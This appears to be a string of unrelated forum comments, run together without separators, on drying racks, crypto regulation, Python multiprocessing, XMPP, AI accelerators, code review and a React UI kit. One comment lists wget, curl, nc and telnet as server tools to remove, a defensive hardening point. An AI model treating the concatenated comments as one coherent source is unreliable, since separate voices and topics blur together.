Collapsible drying racks are a thing. IKEA sells them for cheap. Just leave them by your window, vent or fan.

I live in a cold climate - Norway - and this is the common drying method. Dryers aren't common in homes. Folks will put the rack on a balcony on nice days, and wherever they will fit in when it isn't.

Imagine if you (and others) had to compete on a platform where you can't BRUTALLY misuse words that have specific, broadly accepted meanings, a platform where instead of powerful people (that's you) using language tricks like the one you are using here against the powerless with no repercussions, the tables were turned (as in: this, and many similar behaviors, have been directly targeted in the design as fundamental Human/Reality problems to be solved, once and for all).

The situation on Android is utterly insane.

Because it's all been reimplementations of extremely well known and understood financial instruments which are regulated for excellent historical reasons.

The only technical innovation of cryptocurrencies is that you can now create a new unregistered penny stock at the press of a button and spam the regulators with violations. There's ~7000 equity stocks (you know, just stocks) in the US and there's somewhere >1,000,000 defi tokens.

This did not in fact achieve regulatory escape velocity.
A couple jobs ago, when I realized I was doing all of the non-trivial front-end work at about the workload of ~4 of the other engineers, I just went golfing half the time. That way I was getting paid the same but for half the time at work! And a job before that, my boss told me that I was making the other engineers feel dumb so she wanted me to do less. So I started crocheting at my desk. She helped me with my technique a couple times too.
FWIW, a lot of the underlying technology came from Cymer, which the acquired.

I can see how that'd be weird for everyone to do it (unless they're themselves reviewing the PR). But in this context I am the engineering manager so it's my job to have oversight - so maybe that helps in my team?

One other bit that's probably worth mentioning is that I'm quick to point out when I've learnt something new from the PR in question. I guess I bundle that with "call out excellent solutions" - but it's a slightly different thing.

> is almost entirely subjective.

Of course. But even the regular discussion of what amounts to excellence helps move teams in that direction. What we're trying to get away from is "don't give a fuck if what they do works or is of merchantable quality" which exists in bucket-loads in giant corporations and I want my teams to have no part of it.

Just because the state of art evolved doesn't mean we have to erase history of the field. This is a ML algorithm so calling it AI is perfectly in line.

The fear you mention is built on the lack of understanding of what ML is. Showing that some AI has "dumb" yet useful implementations can help show the limits of this category of technology.

Yeah, except afaik you pay more in context switches, sharing is more cumbersome. Also language runtime of a single process is likely working with less information, you end up using more memory on multiple language runtime instances

- why is wget, curl, nc, telnet, .. installed on the server? can they be uninstalled?

See my replies under the other post, which I had originally missed.
Sure, with multiprocessing you can get 96 python processes running at 100% CPU while sharing a large dataset.

Only problem is that 99% of that CPU usage is for serializing/deserializing IPC messages and total throughput would have been higher using a single process.

There are use-cases for multiprocessing. As long as data sharing between processes is insignificant, it can be quite performant. Just like using a bash-wrapper script that orchestrates a bunch of python (or other) processes.

- many bridges that have kept me from having to use more than one chat client for multiple protocols (think pidgin)

- many great messengers have discovered XMPP as a great base for their system

- lots of great communities are on XMPP

- realistic participant counts in public chat rooms - no counting dead (former) members

- pretty good video & voice chat

- open source

- selfhosting possible

- fewer concerns about data protection and privacy

- more resource efficient (less memory required, lower CPU utilization)

And:

- The use is possible and allowed everywhere where e-mail is in use.

Gaudi2 was competitive with the A100 on paper but was borderline vaporware.

Agree for now, but long do we think this will last though.

There really hasn’t been that great of a financial incentive to compete on DL. Nvidia themselves only recently made this a major priority.

However, now that heaps of money are being thrown at massive training runs I expect we’ll see more competition popping up. Particularly if Intel pulls off IFS and catches up on the next node increasing availability.
I want to warn people against multiprocessing in python though.

If you're thinking about parallelizing your Python process, chances are your Python code is CPU-bound. That's when you should stop and think, is Python really the right tool for this job?

From experience, translating a Python program into C++ or Rust often gives a speed-up of around 100x, without introducing threads. Go probably has a similar level of speed-up. So while you can throw a lot of time fighting Python to get it to consume 16x the compute resources for a 10x speed-up, you could often instead spend a similar amount of time rewriting the program for a 100x speed-up with the same compute resources. And then you could parallelize your Go/Rust/C++ program for another 10x, if necessary.

Of course, this is highly dependent on what you're actually doing. Maybe your Python code isn't the bottleneck, maybe your code spends 99% of its time in datastructure operations implemented in C and you need to parallelize it. Or maybe your use-case is one where you could use pypy and get the required speed-up. I just recognize from my own experience the temptation of parallelizing some Python code because it's slow, only to find that the parallelized version isn't that much faster (my computer is just hotter and louder), and then giving in and rewriting the code in C++.
This is heresy, but if you skip the chapters in Moby Dick of asides, it's a pretty gripping story. There's a reason why Star Trek keeps stealing Ahab's best lines. I like some of the chapters of asides, but they're really not what makes the book a classic.
Yup. I don't know why you would insist on having multiple Python threads, especially given the high risks. Python is only suitable for coordinating/scripting large libraries written in other languages or for quick and easy development. Python programs should not reach the stage where their use in production is hampered by lack of multi-threading.

Show HN: I have open-sourced my ReactJs UI kit
Hello everyone,

For the past several months, I have been building multiple React/TailwindCSS components for my projects.

I have decided to bundle and document them so that I can share them with the community.

The entire UI kit is written in Typescript on top of the class-variance-authority library.

Although I am already using these components in production, the project is still in beta since it lacks a full test suite and dark mode.

Please feel free to take a look and provide feedback if you have a moment to spare.

Thank you!

You are completely right. Why don't they write their stuff in another language? They've got the resources. Now the rest of the world will suffer the consequences, one of which may be that the devs of native libs will simply abandon the work, or that those libs will become too difficult to use for the casual or starting programmer, completely defeating the purpose.

This is true of government as well.
